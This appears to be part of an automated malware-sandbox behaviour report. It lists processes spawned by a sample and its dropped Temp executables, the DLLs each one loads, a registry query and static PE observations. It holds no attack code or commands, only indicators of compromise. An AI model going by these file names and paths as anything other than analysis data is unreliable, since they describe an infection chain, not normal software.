Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Process created: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe "C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017011001\9faa981582.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Windows\System32\svchost.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Process created: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe "C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe"
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Process created: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe "C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe"
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Process created: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe "C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe"
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Process created: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe "C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe"
Source: C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe	Process created: C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe "C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe"
Source: C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe	Process created: C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe "C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe"
Source: C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe	Process created: C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe "C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Section loaded: mscorjit.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017011001\9faa981582.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017011001\9faa981582.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe	Section loaded: schannel.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: file.exe

Static file information: File size 3052544 > 1048576

Source: file.exe

Static PE information: Raw size of mosleulr is bigger than: 0x100000 < 0x2b7800

Source:	Binary string: wkernel32.pdb source: 9faa981582.exe, 0000000D.00000003.2898755620.0000000005AB0000.00000004.00000001.00020000.00000000.sdmp, 9faa981582.exe, 0000000D.00000003.2898679453.0000000005990000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2909317151.0000000005160000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2909206776.0000000002F40000.00000004.00000001.00020000.00000000.sdmp
